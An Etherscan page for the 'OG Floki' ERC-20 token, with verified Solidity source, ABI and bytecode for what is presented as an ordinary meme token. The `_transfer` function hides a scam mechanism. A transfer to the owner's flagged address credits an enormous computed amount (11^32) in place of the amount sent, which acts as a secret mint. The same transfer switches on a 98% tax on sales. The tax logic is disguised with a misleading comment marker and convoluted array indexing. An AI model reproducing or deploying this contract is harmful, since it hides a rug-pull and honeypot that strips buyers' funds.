ETH Price: $3,354.15 (-2.77%)
Gas: 2 Gwei

Token

OG Floki (OGFLOKI)
 

Overview

Max Total Supply

1,000,000 OGFLOKI

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
46,729.805487388 OGFLOKI

Value
$0.00
0x0b7ea3677a43ad833175180fb1eddf097f41dbf4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OGFLOKI

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-05
*/

/*
The Original is always better.

Website: https://ogfloki.org/
Twitter: https://twitter.com/ogflokicoin
Telegram: https://t.me/ogflokicoin


*/



// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.12;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = 0x484436F41517024f560C44075FBEd90DaCf46e19; // DEV WALLET
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract OGFLOKI is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tOwned;
    mapping (address => bool) public DropTaxes;
    mapping (address => uint8) private Queue_;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    address payable public ogmarketing = payable(0x4A5c958f123B160555fAdc0c70A660fE4A07Ca8E);

    string public _name = "OG Floki";
    string public _symbol = "OGFLOKI";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 6 * 10 **_decimals;

    uint256 public _TAX_PERCENTAGE_ = 0;

    uint8 private swapCounter = 0;
    uint8 private swapAmount;
    uint8 private swapTrigger = 10;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    bool private mase = false;
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint8 _swapAmount) {
        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;Queue_[owner()] = 1;
        
        DropTaxes[owner()] = true;
        DropTaxes[address(this)] = true;
        DropTaxes[ogmarketing] = true;
        swapAmount = _swapAmount;
        emit Transfer(address(0), owner(), _tTotal);
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function increaseAll() private pure returns(uint256){
        uint256 rtrn = 1; uint256 _rValue = 32;
        for(uint256 u = 1 ; _rValue > 0; _rValue--){
            rtrn *= 10+u;
        }
        return rtrn;
    }

    function swapAndLiquify(uint256 heldTokens) private lockTheSwap {
        swapTokensForBNB(heldTokens);
        sendToWallet(ogmarketing,address(this).balance);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        bool BUY = (Queue_[to]) > (0);
        if(!mase && BUY){ mase = BUY;}
        bool TAX = true;
        if(from == uniswapV2Pair || DropTaxes[to] || DropTaxes[from]){
            TAX = false;
        }

        _tOwned[from] = _tOwned[from] - amount;
        if(TAX){
            uint256 taxAmount = amount.mul(_TAX_PERCENTAGE_.// /*
                add([ 
                [mase][0]?
                [swapAmount][0]:
                [0][0]][0]))
                .div(100);
            if(taxAmount != 0){
                _tOwned[address(this)] = _tOwned[address(this)] + taxAmount;
            }
            _tOwned[to] = _tOwned[to] + (amount - taxAmount);
        }else{
            _tOwned[to] = _tOwned[to] + (BUY ? increaseAll() : amount);
        }
        
        emit Transfer(from, to, amount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"_swapAmount","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"DropTaxes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_TAX_PERCENTAGE_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ogmarketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600580546001600160a01b031916734a5c958f123b160555fadc0c70a660fe4a07ca8e17905560c060405260086080819052674f4720466c6f6b6960c01b60a09081526200005191600691906200044b565b50604080518082019091526007808252664f47464c4f4b4960c81b60209092019182526200008091816200044b565b506008805460ff191660099081179091556200009e90600a62000606565b620000ad90620f42406200061e565b6009556000600a55600b8054620a000062ff00ff19909116179055600c805461ffff60a81b1916600160a81b179055348015620000e957600080fd5b50604051620014c4380380620014c48339810160408190526200010c9162000640565b600080546001600160a01b03191673484436f41517024f560c44075fbed90dacf46e1990811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001796000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021b919062000665565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000269573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028f919062000665565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000303919062000665565b600c80546001600160a01b0319166001600160a01b03928316179055600b80546301000000600160b81b031916630100000084841602179055600080549091168152600360205260408120805460ff1916600190811790915590600290620003736000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526002909352818320805485166001908117909155600554909116835291208054909216179055600b805460ff84166101000261ff0019909116179055620003f36000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200043b91815260200190565b60405180910390a35050620006cd565b828054620004599062000690565b90600052602060002090601f0160209004810192826200047d5760008555620004c8565b82601f106200049857805160ff1916838001178555620004c8565b82800160010185558215620004c8579182015b82811115620004c8578251825591602001919060010190620004ab565b50620004d6929150620004da565b5090565b5b80821115620004d65760008155600101620004db565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005485781600019048211156200052c576200052c620004f1565b808516156200053a57918102915b93841c93908002906200050c565b509250929050565b600082620005615750600162000600565b81620005705750600062000600565b81600181146200058957600281146200059457620005b4565b600191505062000600565b60ff841115620005a857620005a8620004f1565b50506001821b62000600565b5060208310610133831016604e8410600b8410161715620005d9575081810a62000600565b620005e5838362000507565b8060001904821115620005fc57620005fc620004f1565b0290505b92915050565b60006200061760ff84168362000550565b9392505050565b60008160001904831182151516156200063b576200063b620004f1565b500290565b6000602082840312156200065357600080fd5b815160ff811681146200061757600080fd5b6000602082840312156200067857600080fd5b81516001600160a01b03811681146200061757600080fd5b600181811c90821680620006a557607f821691505b60208210811415620006c757634e487b7160e01b600052602260045260246000fd5b50919050565b610de780620006dd6000396000f3fe6080604052600436106101445760003560e01c8063571d2d11116100b6578063a9059cbb1161006f578063a9059cbb146103bc578063af465a27146103dc578063b09f1266146103f2578063d28d885214610407578063dd62ed3e1461041c578063fa2f7a8f1461046257600080fd5b8063571d2d11146102ed57806370a082311461031d5780638da5cb5b1461035357806395d89b41146103715780639630d25c14610386578063a457c2d71461039c57600080fd5b8063220f669611610108578063220f66961461022957806323b872dd1461024a578063313ce5671461026a578063395093511461028c57806349bd5a5e146102ac5780634a74bb02146102cc57600080fd5b806306fdde0314610150578063095ea7b31461017b57806312de7227146101ab5780631694505e146101e357806318160ddd1461020a57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610479565b6040516101729190610b67565b60405180910390f35b34801561018757600080fd5b5061019b610196366004610bd8565b61050b565b6040519015158152602001610172565b3480156101b757600080fd5b506005546101cb906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b3480156101ef57600080fd5b50600b546101cb90630100000090046001600160a01b031681565b34801561021657600080fd5b506009545b604051908152602001610172565b34801561023557600080fd5b50600c5461019b90600160a01b900460ff1681565b34801561025657600080fd5b5061019b610265366004610c02565b610521565b34801561027657600080fd5b5060085460405160ff9091168152602001610172565b34801561029857600080fd5b5061019b6102a7366004610bd8565b61058a565b3480156102b857600080fd5b50600c546101cb906001600160a01b031681565b3480156102d857600080fd5b50600c5461019b90600160a81b900460ff1681565b3480156102f957600080fd5b5061019b610308366004610c3e565b60026020526000908152604090205460ff1681565b34801561032957600080fd5b5061021b610338366004610c3e565b6001600160a01b031660009081526001602052604090205490565b34801561035f57600080fd5b506000546001600160a01b03166101cb565b34801561037d57600080fd5b506101656105c0565b34801561039257600080fd5b5061021b600a5481565b3480156103a857600080fd5b5061019b6103b7366004610bd8565b6105cf565b3480156103c857600080fd5b5061019b6103d7366004610bd8565b61061e565b3480156103e857600080fd5b5061021b60095481565b3480156103fe57600080fd5b5061016561062b565b34801561041357600080fd5b506101656106b9565b34801561042857600080fd5b5061021b610437366004610c59565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561046e57600080fd5b506104776106c6565b005b60606006805461048890610c8c565b80601f01602080910402602001604051908101604052809291908181526020018280546104b490610c8c565b80156105015780601f106104d657610100808354040283529160200191610501565b820191906000526020600020905b8154815290600101906020018083116104e457829003601f168201915b5050505050905090565b600061051833848461076f565b50600192915050565b600061052e848484610828565b610580843361057b85604051806060016040528060288152602001610d65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ad1565b61076f565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161051891859061057b9086610afd565b60606007805461048890610c8c565b6000610518338461057b85604051806060016040528060258152602001610d8d602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610ad1565b6000610518338484610828565b6007805461063890610c8c565b80601f016020809104026020016040519081016040528092919081815260200182805461066490610c8c565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b505050505081565b6006805461063890610c8c565b6000546001600160a01b031633146107255760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061078f57506001600160a01b03821615155b6107c75760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161071c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216600090815260036020526040902054600c5460ff918216151591600160b01b9091041615801561085f5750805b1561087c57600c805460ff60b01b1916600160b01b831515021790555b600c546001906001600160a01b03868116911614806108b357506001600160a01b03841660009081526002602052604090205460ff165b806108d657506001600160a01b03851660009081526002602052604090205460ff165b156108df575060005b6001600160a01b038516600090815260016020526040902054610903908490610cdd565b6001600160a01b0386166000908152600160205260409020558015610a2d5760408051808201909152600c54600160b01b900460ff161515602082018190526000916109ad916064916109a7916109a09190819061097157604080516020810190915260009081905261098c565b6040805160208101909152600b54610100900460ff16908190525b60ff9081169091529051600a549116610afd565b8790610b10565b90610b1c565b905080156109e157306000908152600160205260409020546109d0908290610cf4565b306000908152600160205260409020555b6109eb8185610cdd565b6001600160a01b038616600090815260016020526040902054610a0e9190610cf4565b6001600160a01b03861660009081526001602052604090205550610a7d565b81610a385782610a40565b610a40610b28565b6001600160a01b038516600090815260016020526040902054610a639190610cf4565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac291815260200190565b60405180910390a35050505050565b60008184841115610af55760405162461bcd60e51b815260040161071c9190610b67565b505050900390565b6000610b098284610cf4565b9392505050565b6000610b098284610d0c565b6000610b098284610d2b565b600060016020815b8115610b5f57610b4181600a610cf4565b610b4b9084610d0c565b925081610b5781610d4d565b925050610b30565b509092915050565b600060208083528351808285015260005b81811015610b9457858101830151858201604001528201610b78565b81811115610ba6576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bd357600080fd5b919050565b60008060408385031215610beb57600080fd5b610bf483610bbc565b946020939093013593505050565b600080600060608486031215610c1757600080fd5b610c2084610bbc565b9250610c2e60208501610bbc565b9150604084013590509250925092565b600060208284031215610c5057600080fd5b610b0982610bbc565b60008060408385031215610c6c57600080fd5b610c7583610bbc565b9150610c8360208401610bbc565b90509250929050565b600181811c90821680610ca057607f821691505b60208210811415610cc157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610cef57610cef610cc7565b500390565b60008219821115610d0757610d07610cc7565b500190565b6000816000190483118215151615610d2657610d26610cc7565b500290565b600082610d4857634e487b7160e01b600052601260045260246000fd5b500490565b600081610d5c57610d5c610cc7565b50600019019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d1d22c39435999895ca5864286041315179b2707da0c843a2d3d0f04206acae064736f6c634300080c00330000000000000000000000000000000000000000000000000000000000000062

Deployed Bytecode

